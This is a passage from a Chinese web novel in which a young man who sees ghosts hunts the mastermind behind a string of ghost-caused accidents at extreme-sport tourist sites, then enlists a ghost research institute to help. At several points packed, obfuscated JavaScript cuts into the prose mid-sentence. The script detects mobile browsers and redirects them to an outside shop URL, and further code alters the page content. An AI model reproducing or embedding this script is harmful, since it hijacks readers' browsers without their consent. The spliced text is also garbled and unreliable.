多亏了偏离市区的优势，施工队少了很多顾忌，拆起来干劲十足，大大缩短了预计的工期。 不过温令羽登记的这一批不是从分馆来的，打听死亡的时间，竟然都是来自近期产生的新鬼魂。 他们的死因出奇的一致——事故意外，各种情景都有。 温令羽敢说，这是他看过的极限运动类型最多的时候，连看广告都没这么多。 “远离极限运动，保护脆弱生命。”温令羽嘀嘀咕咕地说，维持秩序的动作却没有停。 酒保站温令羽旁边做人员登记，然后晋叔再分配房间让他们住下，最后温老就安心待在交流所的店铺里，给逛到这里的鬼魂做一个简单介绍。 他们一致认为，雇佣老人是不对的，就把最轻松的活交给了他。 毕竟没活可以找活，但是看店这件事枯燥又重要。 忙了一整天，总算是把积攒几天的量一次性全都完成，之后再来也不会影响到鬼小馆的日常了。 温令羽坐在吧台旁边，给自己站累的腿放松，另一边酒保在忙碌。 鬼魂多起来了，要饮料酒水的人也多了起来，酒保几乎是这边刚忙完，吧台那边又叫了他名，催促他过来工作。 眼看着周围的鬼魂越来越多，温令羽不想坐在这里妨碍他们，干脆转移到自己店里。 整个鬼小馆里面，最空闲的地方就是自己的店铺了。 鬼魂全都是新来的，对这个世界新奇得很，尽管大家互不相识，在某一点上面达成了共识，一个个不想走，一听说交流所是来送他们走的。 避如蛇蝎。 偏偏他们又好奇，来门口转了一圈就走，方便之后是要绕道走。 温令羽看着空空荡荡的交流所，现在是连他的员工都快要跑路了，目光不由自主放在进门的墙壁上，墙壁还残留着笔墨，是阿辛登记上去的。 如今已经擦去了所有，新的任务消息还没有出现。 晋叔的声音在身后响起来，“阿辛那个讨厌的家伙，不道别就走了。” 是啊，阿辛没有好好道别过，直接走了，打算永远不回来。 晋叔知道温令羽的难过，没有在意他的已读不回，可眼下一个个鬼魂住下来，需要扛大梁的人坚持下来，而这个人要放弃很多的东西。 “我知道因为阿辛，你和老先生有了隔阂。”晋叔是故意提阿辛，他不能看到内部分歧而无动于衷，一闲下来就要好好处理掉。 温令羽终于回头看晋叔，他并不承认：“晋叔你说什么？我怎么听不懂。” 对温老有猜忌这件事，温令羽自认伪装得很好，毕竟他对温老的态度从头至尾都没变过，却被晋叔看穿还一语道破，要让他说个所以然出来。 晋叔把交流所的门关上，“温老去看辉辉的课业，现在这里只有我们两个。” “我不知道你在说什么，时间不早了我要回家。”温令羽不想再谈，就要越过晋叔走掉。 晋叔伸手拦住了温令羽，他说道：“你对辉辉的事情好奇，却从不问温老反而是自己去查。” 说着，晋叔从衣兜里拿出一张纸。 “你拦住辉辉问他的所有，这里是他给你的答复。”晋叔主动解释这张纸上的内容。 温令羽伸手想抢过这张纸，却穿它而过，东西还在晋叔的手上。 看来一时紧张和着急的两个，全都忘记了鬼魂的东西，人是碰不到的。 晋叔没想和温令羽作对，他只是不想他们内讧，消除温令羽和温老他们之间的冰墙。 温令羽神情严肃但不得不答应，现下东西在晋叔的手上，自己得作出妥协。 晋叔见状，主动将辉辉的信打开，让温令羽亲自看。 说是说辉辉的生前，还不如说是有关温正业的一生。 温正业为了逃避父母的安排，离家独自往南边走，最终以入赘结束了这一趟南行之路。 几个孩子都随母姓，无论男孩还是女孩都可以入学堂，温正业是会读书的，就担负了监督孩子学业的任务。但也因为如此，温正业是被其他人厌恶的，经常对其恶语相向。 妻子得知后生了很大一场气，紧接着他们一家离开了原来住的地方，找了一处没人认识的村镇安定下来，可是搬过来时，孩子们已经到了记事的年纪，对于父亲成了一家之主的事，接受度很低。 加上他们身上带的钱不多，孩子们的身体都不太好，心里一个个都在埋怨自己的父亲，要是没有搬出来，依旧是衣食无忧的生活。 等到孩子们一个个成家，全都选择搬了出去，除了小女儿留在二老身边结婚生子，小女儿身体最不好，只生下了一个孩子就是辉辉，温正业很尽心培养辉辉和照顾虚弱的女儿。 在辉辉五岁时，温正业就倒在了女儿头七这天。 至于温家的后人，给温正业写得多坏多坏，但辉辉在及笄礼这天给祖父花了像写了生平，希望后人能善待他这位善良的祖父。也因此得罪了亲族，在他有难时落井下石。 祖母先后失去了女儿和丈夫，小女儿留下的唯一血脉她没有护住，极度伤心之下没撑住，却不小心把辉辉的魂魄招了回来。 辉辉就一直留在温家祠堂里面没走，时间越过越长，外面却发生了天翻地覆的变化，脑子一下子接受不了，就变得糊里糊涂。 信说到辉辉失去了意识结束，他在解释对温老的谣言，同时也是在为温老叫屈。 温令羽颇为震撼，他的祖上原来竟是这样传下来的，祠堂里就少了这么一段，而辉辉的出现竟然早了这么久，看过了好几代。 那么温老是因何而来的呢？辉辉吗？ 可他们的相遇还是因为他。 温令羽很快就否定了这个猜测，他记错了，温老和辉辉的初遇时他并不在场，是温大爷陪他去的，谁也不知道当时发生了什么。 只记得温老他非常不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“新鬼魂的死因你看过了吗？你敢保证没疑问吗？”温令羽停顿了片刻，大方地给了晋叔思考的时间，见他没有回答的想法，才继续道，“极限运动容易致死，但短时间因为不同的运动而死，你觉得正常吗？” “不要再继续追究下去，是要看着他们一个个死亡，然后成为我的业绩吗？”温令羽完成越多的祈愿任务，他的生活越平稳风顺。 一语话落，重重砸在了晋叔的心上，他不再犹豫，语气坚定地鼓励温令羽，“想当年我是大侠，伸张正义的事绝不会袖手旁观。” “你去找到真相，抓住幕后之人。”晋叔不再站在温老那一边，来劝温令羽别再管。 温令羽终于笑了，一人一鬼拳头相撞的瞬间，明明解除不了，内心却是被震到了，胸膛的心跳声久久没能停下来。 晋叔把温令羽送出门，他们两都清楚，温老必须要留在鬼小馆，拖也要拖住。 温令羽狠下心，提议道：“我和他吵一架，把他赶出来？” 晋叔赶紧否决了，明面上要维护好双方之间的友好关系，一下子撕破脸可不行，为了不让温令羽分心，揽下了任务，“我有办法，你就放心去找小鬼。” 85.误入局中 火车上的风景不一样，与上次回家不同，目的地是个完全陌生的地方。 打听到小鬼的去向，温令羽打算去他的家看一看，在最无助的时候第一反应还是想回到最熟悉的家，相信对于小鬼来说也是相同的。 终点是在遥远的西南，光是花在路上的时间就要好几天，还是唯一能直达的交通方式。 温令羽要了杯热水，放在小桌板上等凉了再喝，手机里不断弹出来群聊消息，是宋时盛他们一群人刚知道他要去远方，在表达不满。 “我在苦哈哈实习，你就说走就走了。” “哥们，37度的体温怎么能说出这么冰冷的话语。” “我要举报你逃学，学校举报电话在哪里？” 终于等到手机震动停止了，温令羽才重新拿起来，一条一条往上翻，上面的内容都给温令羽整乐了。 被他们发现纯属凑巧，温令羽买票选了第三方软件，把宋时盛的信息自动选上了，偏偏他没发现这个价格的问题，然后买票信息就发到了宋时盛的手机上。 谁能想象到，这单人票价竟然这么便宜，付款的一时间觉得两个人的也合理。 温令羽回复道：“我是去办正事，说得像我去旅游似的。” “这种正事能不能落到我头上啊。”已经连续加班两天的人非常厌恶这个公司了，离开的心越来越强烈。 宋时盛作为剥削的一方吐槽道：“真让你出差，你又不乐意。” “宋时盛，你最好庆幸你现在不在我旁边！非打死你不可。”对方气炸了。 这一路有他们在贫，温令羽拖着行李箱下了火车，都觉得像是一个精神恍惚就到了，忘了路上有多难挨，醒来还有十几个小时。 出了站门，一下子围上来几个手拿广告单的人。 “新来的吗？看一看一日游。” 几个人七嘴八舌的，一不留神温令羽的怀里就多了好几张广告单，都是省内的短途旅游团，温令羽注意到上面有一项——玻璃栈道。 周围围着的人看温令羽迟迟不说话，一个个渐渐散开去找其他人了。 温令羽拉住了一个即将要走的，“这个玻璃栈道的项目……” “这个啊，停业了。”对方语气深表遗憾，继续介绍其他的游玩项目，“野生动物园有没有兴趣？还有这个……” 温令羽婉拒，推开又围上来的一群旅游社的，坐上了停在门口的出租车。 出租车司机一听说温令羽是新客，热情地推荐本地的风土景色。 温令羽不能让他话掉地上，容易冷场，一句附和一句，但是这个本事他并不擅长，把头转向车窗，看路边的风景。 定的住处是在小鬼的家附近，放完行李温令羽就在附近转悠。 小鬼的家是在城中村，与周围的高楼大厦形成了鲜明的对比，而且城中村的房子建得杂乱，只根据门牌号找地方，给找鬼增加了很多的压力。 就一个路口，温令羽都转了两回，这个操作惹得快递站门口坐着的大爷频频看过来。 “小伙子，你是在找什么？看你来两三遍了。”大爷看乐子看够了，终于想到要来帮忙了。 面对大爷的热情，温令羽招架不住，下意识后退了好几步，立马发现这动作太生疏了，弯下了腰。 “大爷不用了，我自己可以找。”赶紧离开了这一块儿。 有了这一个插曲，温令羽还真来到了不同的小巷，继续往里面走，在一个小三楼门口停了下来。 门牌能对上，温令羽站在楼梯最底下长长地叹了口气，顿感压力倍增，不断往上走，心里变得更慌张。 害怕门口没有，也害怕有。 短短三层楼梯，再怎么慢都能走到地方，果不其然，门口只有大堆纸盒废品。 在犹豫的瞬间，隔壁的门倒是开了，对方穿着睡衣看眼前的陌生人，戒备地问道：“你是谁？” 他饿了半天，是出来拿外卖的，外卖没到反倒是来了个陌生人。 温令羽不知道该怎么介绍自己，在原地闭嘴了。 隔壁这户早早就搬走了，这段日子时不时有人过来看房子想租，自动就把温令羽代入进去，“租房的吧，这户全权交给中介了，你还是别私下过来了。” 说完，他就关门。 温令羽从这几句话中得知了不少的消息，要租出去的房子应该久久没人住了，小鬼不像能住进去的，便打算去那些极限挑战的景点找一找。 能找到小鬼可以多一个帮手，实在找不到就只能先去找幕后之人。 温令羽刚打算走，发现上面还有一个楼梯，只有半截，对应着一扇关闭的木门。 鬼使神差的，温令羽找了上去，老房子的上面应该是天台。 木门没有上锁，很轻易地打开了，小鬼就坐在边缘的位置，脚还挂在另一栋上面，两栋房子之间只隔了一手的距离。 温令羽把木门重新关上，陈旧的嘎吱声特别大，小鬼却像是没有听到，一点反应都不给，视线继续看着不远处的风景。 小鬼是在温令羽坐到他身边才发现的，天台来晒衣服的人很多，刚来时会经常被惊动，习惯了之后就可以不做任何反应，想当平静地面对。 不过温令羽能找到这里，他很意外。 他们交流过近期的事情，小鬼深知其中的严重性，这么短的时间新增的鬼魂有这么多，可见幕后之人特别残忍，做的全不是人事。 温令羽对小鬼说：“玻璃栈道停业了，我看了新闻，一家人去玩全进了医院，活动就被暂停了。” 小鬼一瞬间明白了温令羽的意思，他说道：“我们现在赶过去，幕后之人或许在那里。” 毕竟时间跨了这么多天，人家或许走了也不知道，但总得去过一次确认。 小鬼也赞成去，他还说了件秘事，“玻璃栈道既然出过事情，肯定有鬼魂守着，方便下一次任务进行。” 因为以往每一次留守，只要小鬼在，就有鬼魂同伴把这项无聊的任务交给他。 他一项爱面子，一般绝不主动说。 时间很紧，玻璃栈道又是在四五十公里的山，与小鬼会合后就去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梦里是黑夜，休息点里躺下的人都不见了，只剩下温令羽一个。 山里的风牵动着野草和树叶，发出稀稀疏疏的声响，视线朦胧间看见不远处的休息石凳上坐着一个黑影，他一下子回头，头发遮住了他的眼睛。 嘴里不停的重复：“还我命来。” 边说还不断靠近温令羽，一下子从石凳上闪现至眼前。 妥妥恐怖片里的场景，但温令羽见得多了，第一反应不是害怕，而是任务。 差点就要拿着记录本去问。 以为是小鬼在恶作剧，说道：“别玩了，我又不怕。你去玻璃栈道看过……” 对方越靠越近，哪怕是头发遮住半张脸还是能辨析出来，面前的鬼魂不是小鬼。 念头一出现在脑海，温令羽的手就动了，一把推开了鬼魂，而他也从梦境中清醒过来。 86.出口恶气 陌生鬼魂蹲在他旁边，手还放在他的额头上，被他用力一推躺在了地上，一脸震惊地看着温令羽。 就在温令羽直勾勾的目光下，鬼魂拍了拍身上不存在的灰尘，继续物色下一个人选。 温令羽意识到自己被无视，说道：“当鬼的就能不把人当人看了！” 话是拗口的，但意思表达是准确的。 鬼魂直接被吓倒在地上，甚至还有一连串效应，原本潜入其他梦境吓人的鬼魂，一下子都出来了，围成一团警惕地看温令羽。 其中一个胆子大一点，冲到温令羽面前摇了摇手，发现眼珠子真跟着手走了。 他惊呼：“他真能看见我们。” 不过不像小鬼这么害怕，他们仗着数量优势，开始打量起温令羽来，猜测他的身份：“你是我们boss派来的？怎么以前没见过。” 温令羽从善如流地把话接了下去：“boss忙，所以派我来看管你们，担心认识的会包庇。” 好在温令羽有当上司的经验，能够在这群鬼魂面前伪装，还能一跃成为敌方高层。 拥有和boss一样的能力，他们就没有过多怀疑，相信了温令羽的这一套说辞，一个个争先向温令羽表起忠心来，“我非常认真，吓坏了过路的游客。” “我比他更卖力。” 一个个比较起来，当着温令羽的面直接吵起来了。 怪不得小鬼在那里不受待见，人家都把这当一份工作，毫无愧疚之心，还为自己的所作所为感到骄傲。 温令羽必须阻止这件事情，他打断他们：“好了，你们先暂停。现在惊吓人数过多已经引起怀疑了，不能再继续下去了。” “可是……” “你是领导还是我是领导？”温令羽一个眼神瞪过去，对方也不敢再说了。 经历了这一环节的“惊吓”，温令羽的睡意消失殆尽，干脆继续往上爬去和小鬼会合。 小鬼早就上去好一会儿了，儿时来过的地也知道玻璃栈道的具体位置，见到了留守的鬼魂后没敢多留，下山找温令羽碰面。 一人往上走，一鬼向下赶。 刚好在中间，他们提前碰面了。 小鬼飘得很急，一头就撞上了温令羽，接着若无旁人地走了，温令羽叫住了他：“我在这里。” “你醒了？我还以为还在睡呢。”小鬼压根没注意到，尴尬地挠挠头。 温令羽先把他在休息点的事说了，又问小鬼在玻璃栈道那有没有获得什么线索。 “大部队最近刚撤走，boss就在本市，但boss神出鬼没的，不知道具体地方。”小鬼尽可能地问了些有用的，他完全不敢多待。 聊得越多越容易暴露，而小鬼是他们里面地位最低的，看守的鬼魂要是反应过来绝对会把这个活留给他。 在他们之间，上下级界限分明，而且上级认定下级不会违抗命令，哪怕是下级不同意也能先斩后奏，还不用担心后面的事。 小鬼消化完温令羽话里的信息，他不停地往温令羽的周围看，“你刚说收了一群小弟，没跟着你？” “我是来当卧底的，不是来过官瘾的。”温令羽有些无奈地说。 在上来找小鬼前，温令羽花了大功夫才把那群鬼魂打发了，免得他们时时刻刻跟在他身边，听到一些不该听的东西。 但是小鬼却一反常态，很想找那群鬼魂，给自己出口气。 “他们以前老欺负我，我一定要报复回去。”有了人撑腰，小鬼连说话都硬气起来。 温令羽不知道敌方团队阶级分明，他这一级可谓是牢牢在他们头上，给小鬼升个级也就一句话的事，所以不知情的他拒绝了。 “卧底还往别人面前撞，不行。”温令羽可不想给自己找事，“当务之急是先找到boss。” 小鬼还是再争取一下，温令羽没给机会，先一步下山走了。 上行的人依旧是一波接着一波，而下行的也就温令羽这么一个，走一段就遇到有人问温令羽上面的情况，温令羽没上去过，自然不知道该怎么回复，只能打了个哈哈了事。 等到了中途休息点，一段对话自动进入了温令羽的脑中。 “听说这个山上闹鬼，要不要一起去看看？” “谣言吧，夜爬这么多人一点都不恐怖。” “谁和你说走这条路了，就没开通那。” 那人说到这里，就立马有其他人想要一起同行，或许是想到同行人太少了，就同意大家一块。 温令羽不放心，悄悄混在探险的队伍里面。 所幸混进去的人太多了，还真分辨不出来。 温令羽想和小鬼商量，但他一直低着个头，任凭温令羽说什么，他就是不回应。 探险队伍虽然人多，行进的速度却很快，温令羽还真不能停下来去搞懂小鬼这脑袋在想什么。 越往上爬，天也渐渐亮了起来。 恐怖的氛围被日照扫了个干净，疲倦感慢慢上来，哈欠声一个传染下一个，偏偏迟迟找不到休息处，而又不能随地躺。 行进到山顶，早早上来的人在拍照，他们一群错过了日出又累的，直接坐下背靠背补觉了。 温令羽也哈欠连连，要不是凭一腔正义，他还真爬不到这么高。 这一路太安静了，那群鬼魂果然听进了温令羽的话，温令羽刚想和小鬼感慨这个事，一个转头，才发现小鬼的影子早没了。 小鬼竟然没跟上来。 温令羽原路返回找小鬼，到了一处树林茂密的地方，听到了声音，顺着声音找了过去。 小鬼背靠在树根旁，其他鬼魂齐齐把他围在中间，走近看才发现，小鬼的肩膀上有一只腿，死死地压着小鬼。 “你们在干什么？”温令羽决定要拿起姿态来。 小鬼对重新看到温令羽是又爱又恨，他小心翼翼跟在温令羽后面，然后被他们直接捂住口鼻抓走了，而温令羽全程毫无察觉。 过了这么长时间才找过来，小鬼说道：“你怎么才来？” 温令羽心虚至极，他给小鬼一个眼神让他放心，自己则是对其他鬼魂吼道：“你们还不放？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192370|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 其他鬼魂全没想到团队最底层的人员，一下子地位飞升，成了上级身边大红人，他们一声不吭把大红人绑过来，绝对是得罪得死死的。 可手是放得很快，小鬼总算是解放了。 心知犯事了的鬼魂一个个缩在边上不敢吭声，温令羽和小鬼对视了一眼，先移开了眼睛，决定让小鬼来处理这些事。 在小鬼被绑之前，温令羽是觉得可以稍后在计较。 但为了他们两个临时队友的和谐，还有给对方boss一个下马威，觉得可以让小鬼出了这口气。 过了这村就没这店了。 处理完这些事下山，小鬼一路蹦蹦跳跳下去，看他这傻样，温令羽无奈地笑了笑：“这会是高兴了。” 小鬼点点头，笑得很开心，说道：“舒服了。” 小鬼只是把他们的手和脚全绑，从而失去了飘的能力，鬼魂去哪里都只能靠跳。 温令羽没当过鬼，不知道不能飞只能走有多难熬，这个惩罚确实是精神和身体伤害都有了。 小鬼也不和温令羽解释，自顾自己笑得很开心。 温令羽赶上了回市区的接驳车，但他们上来得早，还没有到发车的点，干脆坐在后排靠窗补觉。 刚睡着，耳边就响起吵闹声。 温令羽努力让自己忽略这些声音，但眼睛却是很实在地睁开，接驳车外挤了大帮人，挤着车门就要上来。 司机见状把车门关掉了。 明明车上的空位还有很多，司机却关了门。 “大哥，怎么关门了？”温令羽问道。 司机还没来得及说话，车上的乘客先他一步解释道：“山上的缆车中途停了，打电话叫救援。现在景区项目全停了大家都回来了。” 他们几个也是来夜爬的，刚好赶上了车，不用去挤大部队。 说话间，接驳车外面已经开始维持秩序了。 他们几个说得起劲，没注意到温令羽变化的脸色。 小鬼倒是有不同的看法，他说：“缆车肯定是一个突发意外情况，山上那一批鬼魂肯定没机会搞事情了，等到救援下来就好了。” 话是这么说，温令羽依旧担心。 万一真被夺舍了，还不知道能不能救下来。 因为这一层顾虑，温令羽还是毅然决然下了车，他必须要确保缆车上的人安全。 景区已经关闭了，门口守着保安只许出不让进。 温令羽脑子灵活一转，和保安打感情牌：“大哥，我朋友就在缆车上，就让我进去等吧。” 说着还装作很担心的样子，保安丝毫不让，严守规矩不允许进来。 另一位看守的保安安慰道：“缆车项目停在半空，里面的人暂时还安全，只要等救援来了就能安全，你进去帮不上忙。” “可是……”温令羽还想再求一求。 可出来的人太多了，人群一下子把温令羽淹没，而且都在说话，声音和人保安一个都看不到。 小鬼见状，躲到了附近空旷地方，免得又被挤开。 87.抓捕行动 等几批人全下来了，景区除了还在缆车上等待救援等一批，其他爬山的都已经下来了。 缆车走的是另一条道，有一部分人直到下山才知道项目出事了，纷纷在庆幸自己没偷懒乘缆车。 他们选择靠自己爬到山顶，避免了这一场灾祸。 温令羽留到最后，旁边的媒体也等得无聊，围过来采访温令羽，“同学，你也是从山上刚下来吗？” 媒体是从温令羽脏兮兮的冲锋衣看出来的，脸上是没有看见疲惫，但是衣服就像是刚从地上滚过。 温令羽谢绝了媒体采访，他可不想上镜，干脆找了个远离媒体摄像的地方等待。 终于，有人被带下来了，他们倒是没有受伤或是昏迷，只是腿软相互搀扶着出现在镜头前。 他们还需要去医院做进一步的检查。 可温令羽和小鬼把每个人目送上车，那批鬼魂没有一个附着上身，他们仅仅是遇到次突发事件，受到了惊吓。 “我都忘了！缆车在半空中，我绑着他们腿脚也飞不起来啊。”小鬼阴错阳差间还真干了件好事。 温令羽也松了口气，刚想赞扬小鬼，脑袋一疼直挺挺地倒在了地上。 这一幕被路过的行人发现，抬着他，跟缆车危机得救者一块坐上了去医院的救护车。 温令羽醒来时，自己正躺在急救室的过道里。 小鬼一直陪着温令羽，虽然医生做过初步检查，温令羽全身上下没生病只是累脱睡着了而已，可小鬼没看到人醒过来，还是不能安心。 这一觉就睡到了下午，整整七八个小时，小鬼都在煎熬中度过。 “你终于是醒了。”小鬼已经没力气欢呼了，平静地叙述事实。 温令羽人很懵，睡着前的记忆慢慢回归，他放松下来后是真的感到身心俱疲，一不留神就睡过去了。 “我没事，只是睡着了而已。”温令羽从床上坐了起来，准备走了。 小鬼是目睹了全程，在温令羽倒下的第一时间就伸手了，眼睁睁看着温令羽的身体从手掌心滑过，紧接着就是有人冲了过来。 对方力气很大，直接把温令羽扛上肩头送到了最后的救护车那，医生初步检查后发现并无大碍，是打算不管的。 可温令羽是独自一个人过来的，身边没一个亲人朋友，而他仅仅是陌生人还有事，在那人好说歹说下，医生最后是同意把他一起带上回医院。 在温令羽了解他昏迷后的事项时，旁边的护士发现温令羽醒过来了，询问他的身体情况，“你醒了，有没有哪里不舒服？” “没有。”温令羽如实回答。 “你醒来得最晚，今天送来的其他人身体没事，都出院走了。”护士担心不妥，重新测了体温和血压，确认全部正常后才结束检查。 虽然护士劝温令羽再做进一步的检查，可温令羽坚持自己没毛病要走，他也没凭没据说不动，该嘱咐的却是一句也没少，“你的身体虚弱，回去要多补一补。” 温令羽一一应下，实在想不到，仅是一个通宵就能把他的身体熬垮，明明他之前是能连熬两天的。 他的不解都快摆脸上了。 小鬼一眼就能看出来，要是没搞错的话，温令羽这一遭就是夺魂惹的事，搞得他精神都虚弱了。 休息点时温令羽身体心理都疲惫不堪，这种时候就是入侵意识最佳时机，而被这么一折腾，再强的精神也扛不住。 更何况是一位刚坐了十几个小时的火车，没休息过就四处奔波，还半夜爬山的人。 精神意志脆弱到不堪一击。 听了小鬼这一番解读，温令羽也是自己把自己说服了，能接受这个说法。 为了接下来的抓捕boss行动，温令羽养精蓄锐，养足精神才出发寻找线索。 在此期间，小鬼则是先行一步，去各个游玩地方找曾经的同事，想从其中掏出点boss的线索出来。 毕竟，对面并不知道小鬼已经反水，只当是个底层小喽啰去对待。 “要是他们趁你不在抓我怎么办？” “你又不是他下级，你跑了还有管你的吗？” 小鬼恍然大悟，他又不用听命行事，感慨道：“你说得对啊，我为什么要听他们的。” 有了这一觉悟，小鬼的任务积极性都提高了一倍不止。 光有积极性没用，幕后boss连个影都没有，直到温令羽都休息好了，任务进度还停滞在没有线索的位置。 温令羽都不稀罕说小鬼，还能省几口水。 小鬼不服气，他说：“你行你去，你呼呼大睡还怪上我了。” “人家在暗处，我们在明。人家不出来那我们就诈出来。”真要一个一个人找过去，纯纯一人口普查，不是短时间内能成功的。 那要是能把所有的鬼魂召集起来，总会有鬼魂清楚boss的去向。 一个能看见鬼魂的人类，自然是显眼的。 虽然鬼小馆的场地不在这里，但是研究所是落在各地的，有能之士通常出现在各地，而且能方便更快运用资源进行研究开发。尽管很多东西都无法用现有知识去解释，可依旧在努力。 温令羽只负责对接，在小鬼独自出发去找人的时候，温令羽早就和那边联系上了，说是会派鬼魂过来。 小鬼是见识过鬼小馆内的高科技，对于他们的发明者眼睛都放光了，“研究所，秘密组织。” “我也没见过，但他们有说会全力助我们找人。”温令羽回答道。 研究所派了一支小队伍过来，连夜到了温令羽临时的居所，这支小队伍是负责在外采集工作的，因为距离近临时被调批过来。 小队长没有表现得不满，倒是小队伍里的一个成员面色铁青，自我介绍的时候一句话不肯说，眼神骂得很脏，差点就要出口了。 温令羽对小队长说道：“我们想要召集所有的鬼魂问……” “所有？异想天开吧。”面对如此天方夜谭的任务，那鬼魂的白眼都要翻到天上去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199358|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小队长把自己的队员往后拉，护在自己身后。 由他来面对温令羽一人，表情很是为难，说道：“地方太大了，鬼魂游荡各地，召集所有根本就是一项不可能完成的任务。” 两方的第一次合作谈判是以失败告终。 小队长不确定温令羽的性格，也不想和鬼小馆那方结仇，走前先表明这个任务的难度，然后再度表忠心，他们小队伍时刻待命，听候温令羽和小鬼的差遣。 话说到这份上，温令羽和小鬼都没法有意见，只能先让他们离开，之后想到办法再叫人过来。 等到小队伍走完了，温令羽维持了这么久的笑终于能收掉了，脸都快笑僵了。 “什么鬼啊，叫来除了否决一个又一个提议，其他一点用处都派不上。”小鬼早就想说，被温令羽一直阻止。 温令羽提议过发通告和信息，将全城的鬼魂都召集起来，小队伍直言可行性不大，这里的鬼魂偏向自由，可不会因为一道随意的告示就自发的过来集合。 否定了这一条，小鬼因此有了启发，便说可以发有奖问答，以奖品作诱饵把消息套出来。 结果自然是又被否定了，说数量太多没法很好地收集，而且万一被幕后之人知道他们在寻找，藏得更深就得不偿失了。 接连拒绝了两三条，温令羽和小鬼的脾气也上来了，一句话都不想再说。 小队长见状不想闹得太僵，好说歹说将会议提到了下一次。 温令羽心情变得复杂，明明是找小队伍过来帮忙，然后变成这也不行那也不行。 经过这一遭，算是明白了，还不如他们两个自己干还少了几句废话。 可毕竟正事重要，哪怕是前一天聊得不愉快，第二天该见的面还是得见。 温令羽调整好心态，等小队伍上门。 一晚上的时间他重新思考整理，把小队伍顾虑的几个方面都考虑到了，势必要在今明两日投入实践。 结果，到了晚上小队伍都没过来，哪怕是再慢半拍的脑子也想清楚，人家根本没打算过来。 温令羽气不打一出来，直接去了研究所的落脚点讨说法。 来的时候，研究所老大还在实验室里工作，听助手说到温令羽是黑着脸来的，被迫从实验室里出来亲自招待远方的这位贵客。 “有失远迎。”老大把自己的姿态摆得低低的，一下子把温令羽的气全憋了回去。 温令羽心里还是有气，“你手下的就这么帮忙的？” 这话一出，老大反应过来了，原先他忙就选了一支外出小队伍过去，想着鬼小馆里那一群鬼能有多大的事，翻不了天。 好歹是自己手底下的，不能不管。 老大心里在怨那几个办不好事，表面上打定主意要保下，乐呵呵地把事情揭过去：“太不凑巧了，实验就缺那么一样，就派他们外出找了。是不是他们耽误事了？等他们回来就罚。” 温令羽见得多了，不吃这一套，也不说话直勾勾看着。 88.临时反悔 记得上一次和人接触，还是几百年前的事，人情世故这一块拿捏得不准，被温令羽的眼神看着，说话都少了一分底气。 先一步败下阵来，“我马上把他们带回来，在事情没结束前，全程跟紧，绝不离你五米之远。” 诚意都摆出来了，连台阶都搭好了，温令羽也就顺着梯子下来。 礼尚往来，温令羽不能让对方下不来台，说道：“我也没什么大事，就是想问问有没有鬼魂看见过不一样的人，比如说和我一样能看见鬼的。” “确实是小事，小事。”老大一口就应承下来，还拍拍胸脯力挺。 话是说小事，但也仅限于客气一番，怎么还被当真了。 温令羽对接下来的走向很不安，问道：“你确定吗？” 老大心中有数，刚才也不是信口胡说，他解释道：“每隔一段时间，我们会分享研究成果给当地的同伴们，当时现场的鬼魂很多，你可以借此机会问一问。” 研究所的成果最终还是要惠及全部鬼魂，不然就少了研发的意义。 最好的就是供给鬼小馆，由他们负责分发，一来二去就成了专品，只允许交给鬼小馆。但是他们所在的研究所离鬼小馆据地太远了，研究产品只能堆在研究所里，时间一长就放不下，分出去就当给研究所腾地了。 不过全是秘密进行的。 天高皇帝远，也管不到他们头上来。 老大也是说出口后才发现得不对，高兴过了头就容易坏事，面前这位不就是鬼小馆的现任负责人。 反应过来的老大颤颤巍巍地观察温令羽的反应，温令羽压根就没反应，反而还特别高兴地赞扬他：“好事好事，活动那天我必来。” 的确是老大多想了，温令羽根本就不记得这个规定，加上他现在忙着抓幕后boss，记得也会当不知道的。 老大笑着应和温令羽，还鼓励他好好去干。 自己的心里是恨不得亲自把那放鸽子的小队伍抓回来，让他们去应付温令羽，免得自己又不小心透露什么秘辛，他嘴巴太大，经常容易说漏。 同时巴不得赶紧把温令羽送走，“时间不早了，你快回去休息吧。最迟明天一早，在你醒来之前，我肯定把那个小队叫回来待命。” “不用了，我自己能处理。”温令羽不能贪太多，只要求研究所在活动时全力配合就行。 老大哪里能肯，他本意就是把小队伍当眼线的，肯定是要把人手派过去，没管温令羽愿不愿意，直接就应下了：“你们两个多辛苦，就他们了，明天就能到位。” 温令羽拧不过老大的好意，只能收下这支小队伍跟在身边当个助手。 回去之后，温令羽就将这个好消息告诉了小鬼。 小鬼以为这一趟是白跑，压根就没去，宁愿留在酒店，结果温令羽跑过去还得到了这么好的机会，开始后悔没亲眼目睹这样的场景。 研究所老大亲自出来迎接，还强硬塞人要来帮忙。 